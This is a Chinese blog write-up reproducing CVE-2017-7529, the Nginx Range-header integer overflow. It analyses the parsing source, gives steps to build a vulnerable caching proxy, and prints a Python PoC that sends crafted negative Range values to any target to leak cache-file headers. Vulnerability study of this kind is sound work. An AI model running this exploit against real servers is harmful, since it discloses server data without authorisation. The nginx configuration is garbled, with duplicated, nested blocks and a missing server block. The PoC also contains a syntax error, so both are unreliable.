复现-CVE-2017-7529 Nginx 整数溢出
CVE-2017-7529
本文首发于freebuf
Nginx安全性分析
影响版本:0.5.6-1.13.2
漏洞危害:敏感信息泄露
HTTP-Range
HTTP的Range 允许客户端分批次请求资源的一部分,如果服务端资源较大,可以通过Range来并发下载;如果访问资源时网络中断,可以断点续传。
Range 设置在HTTP请求头中,它是多个byte-range-spec(或suffix-byte-range-spec )的集合。
byte-range-set = ( byte-range-spec | suffix-byte-range-spec)*N
byte-range-spec = first-byte-pos "-" [last-byte-pos]
suffix-byte-range-spec = "-" suffix-length
其中∶
first-bytes-pos指定了访问的第一个字节,last-byte-pos指定了最后一个字节,suffix-length则表示要访问资源的最后suffix-length个字节的内容,Range:bytes=O-1024表示访问第0到第1024字节,Range:bytes=500-600,601-999,-300表示分三块访问,分别是500到600字节,601到600字节,以及最后的300字节。
如果一次请求有多次range,需要multipart来组织
HTTP/1.1 206 Partial Content
Date: Wed, 15 Nov 1995 06:25:24 GMT
Last-Modified: Wed, 15 Nov 1995 04:58:08 GMT
Content-type: multipart/byteranges;boundary=THIS_STRING_SEPARATES
......
Content-type: application/pdf
Content-range: bytes 500-999/8000
......
Content-type: application/pdf
Content-range: bytes 7000-7999/8000
利用multipart进行分片
对于普通文件来说,
Range的开始和结束并不会有什么影响,因为服务器返回的就是完整文件的一部分,但是缓存文件不同,它和普通的文件相比额外拥有一个文件头,里面保存了一些服务器的配置信息(正常情况下服务器是不会返回缓存文件头部的)。所以,当我们针对一个缓存文件进行请求时,如果可以绕过服务器限制,使缓存文件被完整的返回,这时只要控制Range的起始字节为一个合理的负值,就可以读到缓存文件头部。
HTTP-Cache
Nginx可以作为缓存服务器,将Web应用服务器返回的内容缓存起来。如果客户端请求的内容已经被缓存,那么就可以直接将缓存内容返回,而无需再次请求应用服务器。由此,可降低应用服务器的负载,并提高服务的响应性能。

Nginx对Range 的支持包括header处理和body处理,分别用来解析客户端发送过来的 Range header和裁剪返回给客户端的请求数据Body。
ngx_http_range_header_filter_module ——负责对header数据的处理ngx_http_range_body_filter_module ——负责对body数据的处理
漏洞原理分析
在header中range的解析过程

在 ngx_http_range_parse 函数中有这样一个循环, 这段代码是要把“-”两边的数字取出分别赋值给 start 和 end 变量,字符串指针 p 中即为bytes=后面的内容
//部分源码如下
cutoff = NGX_MAX_OFF_T_VALUE / 10;
cutlim = NGX_MAX_OFF_T_VALUE % 10;
for(;;)
{
start=0;
end=0;
suffix=0;
//...
while(*p == ' ') { p++; }
if (*p != '-')
{
if (*p < '0' || *p > '9')
{
return NGX_RANGENOT_SATISFIABLE;
}
while (*p >= '0' && *p <= '9')
{
if (start >= cutoff && (start > cutoff || *p - '0' > cutlim))
{
return NGX_RANGENOT_SATISFIABLE;
}
start = start * 10 + *p++ - '0'; // 更新start
}
while (*p == ' ') { p++; }
if (*p++ != '-')
{
return NGX_RANGENOT_SATISFIABLE;
}
while (*p == ' ') { p++; }
if (*p == ',' || *p == '\0')
{
end = content_length; // 对end做更新
goto found;
}
}else{
suffix = 1;
p++;
}
//...
if (suffix)
{
start = content_length - end; // 第一次byte以“-end”格式传入时,end=0,start = content_length
end = content_length - 1; // start > end 不会进入found
}
//...
found:
if (start < end)
{
range = ngx_array_push(&ctx->ranges);
if (range == NULL)
{
return NGX_ERROR;
}
range->start = start;
range->end = end;
size += end - start;
if (ranges-- == 0)
{
return NGX_DECLINED;
}
}
if (*p++ != ',')
{
break;
}
}
//...
if (size > content_length)
{
return NGX_DELINED;
}
//...
在该段代码中存在 cutoff 和 cutlim 阈值限定了从字符串中读取时不会让 start 或 end 为负值, 所以这里需要进入 suffix = 1的分支,因此使用 Range:bytes=-xxx,(-end的格式)即省略初始 start 值的形式,由此可以绕过*p != '-'的限制,进入suffix=1的分支。
if (suffix)
{
start = content_length - end;
end = content_length - 1;
}
start 等于 content_length 减去 end 值,所以如果传入的 end 比实际长度还要长,就可以使 start 变为负数。其中content_length为不包含文件头的文件长度。最终 end 的值会被设定为 content_length - 1(因此我们需要构造一个小包)
if (start < end)
{
range = ngx_array_push(&ctx->ranges);
if (range == NULL)
{
return NGX_ERROR;
}
range->start = start;
range->end = end;
size += end - start;
if (ranges-- == 0)
{
return NGX_DECLINED;
}
}
start 相当于分片区间的头指针,end相当于分片区间的尾指针。如果此时 end 值要比文件长度(content_length)数值大的话,就可以将 start 解析为负值。与 Range 相关的还有一个 size 值,它是每段 Range 相加后的总长度
if (size > content_length)
{
return NGX_DELINED;
}
当size(即所有range相加的总长度)超过文件长度content_length时,会返回默认的NGX_DELINED。
注意到此处有一个退出条件:
if (*p++ != ',')
{
break;
}
支持支持 range 的值为start1-end1,start2-end2……的形式。
因此,可以构造 range:bytes=-x,-y。一大一小两个 end 值,只需要 控制前面一个 end 值小而后一个 end 值大,从而实现 start 值和 size 值皆为负数,控制 start 值负到一个合适的位置,那么就能成功读到缓存文件头部了。
以下验证和POC来源于:
CentOS搭建Nginx服务
安装依赖库
yum install gcc-c++ wget
yum install pcre pcre-devel
yum install zlib zlib-devel
yum install openssl openssl-devel
下载指定版本的Nginx包
wget http://nginx.org/download/nginx-1.12.0.tar.gz
解压
tar -zxvf nginx-1.12.0.tar.gz
安装Nginx
cd nginx-1.12.0
./configure --prefix=/usr/local/nginx
make && make install
ln -s /usr/local/nginx/sbin/nginx /usr/bin
systemctl stop firewalld
nginx
修改Nginx配置文件
vi /usr/local/nginx/conf/nginx.conf
设置 Nginx 服务器反向代理百度,开启缓存功能,具体配置如下:
#user nobody;
worker_processes 1;
#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
#pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
#pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
#pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';
proxy_cache_key "$scheme$request_method$host$request_uri";
proxy_cache_path /tmp/nginx levels=1:2 keys_zone=zone:10m;
proxy_cache_valid 200 10m;
#access_log logs/access.log main;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
proxy_cache_key用来指定生成的key的字段内容,用以区分缓存文件,这部分内容会在之后我们利用漏洞时被泄露。proxy_cache_path设置了缓存文件的路径和参数。proxy_cache_valid用来指定不同状态码下的缓存时间。server代码块设置了代理的内容,并对响应头进行了一些设置。add_header X-Proxy-Cache表示在响应头里添加一条X-Proxy-Cache,用以区分是否命中缓存,它一共有 5 种状态,MISS表示未命中,请求被传送到后端;HIT表示缓存命中;EXPIRED表示缓存已经过期请求被传送到后端;UPDATING表示正在更新缓存,将使用旧的应答;STALE表示后端将得到过期的应答。
重新加载配置
nginx -s reload
使用另一台服务器进行访问

POC:
# -*- coding=utf-8 -*-
import urllib2
import re
import urlparse
import HTMLParser
import ssl
import sys
try:
_create_unverified_https_context = ssl._create_unverified_context # Ignore certificate error
except AttributeError:
pass
else:
ssl._create_default_https_context = _create_unverified_https_context
def get_url(target):
url_list = []
if ':443' in target or ':8443' in target:
url = 'https://' + target
else:
url = 'http://' + target
res = urllib2.urlopen(url, timeout=30)
html = res.read()
root_url = res.geturl()
m = re.findall("<(?:img|link|script)[^>]*?(?:src|href)=('|\")(.*?)\\1", html, re.I)
if m:
for _ in m:
ParseResult = urlparse.urlparse(_[1])
if ParseResult.netloc and ParseResult.scheme:
if target == ParseResult.hostname:
url_list.append(HTMLParser.HTMLParser().unescape(_[1]))
elif not ParseResult.netloc and not ParseResult.scheme:
url_list.append(HTMLParser.HTMLParser().unescape(urlparse.urljoin(root_url, _[1])))
return list(set(url_list))
def check(target):
url_list = get_url(target)
# url_list[0] = 'http://192.168.6.158/img/bd_logo1.png'
# print url_list
info = '[-]No risk detected'
i = 0
for url in url_list:
if i >= 3: break
i += 1
l = 550
while l < 700:
headers = urllib2.urlopen(url,timeout=30).headers
file_len = headers["Content-Length"]
request = urllib2.Request(url)
request.add_header("Range", "bytes=-%d,-9223372036854%d"%(int(file_len)+l,776000-(int(file_len)+l)))
cacheres = urllib2.urlopen(request, timeout=30)
cont = cacheres.read(4048)
print cont
# print str(cacheres.headers)
if cacheres.code == 206 and "Content-Range" in cont and ": HIT" in str(cacheres.headers):
info = "[+]Target vulnerability!"
return info
else:
l += 50
return info
def main():
if len(sys.argv) != 2:
print 'Usage: python %s ip:port(default 80)' % sys.argv[0]
else:
target = sys.argv[1]
if ':' not in target:
target = target + ':80'
try:
print check(target)
except Exception,e:
print '[-]Error: ' + str(e)
exit(0)
if __name__=='__main__'::
main()
测试
python2 nginx_poc.py [your ip]

成功爆keyKEY: httpGETx.x.x.x/favicon.ico
漏洞利用成功
http://www.hacksee.com/blog/nginx-int-overflow.html
https://paper.seebug.org/353/#5
https://gitee.com/geektime-geekbang/WebSecurity/raw/master/PDF/第四章(2):Nginx安全专题.pdf
本文来自博客园,作者:sherlson,转载请注明原文链接:https://www.cnblogs.com/sherlson/articles/16388374.html

浙公网安备 33010602011771号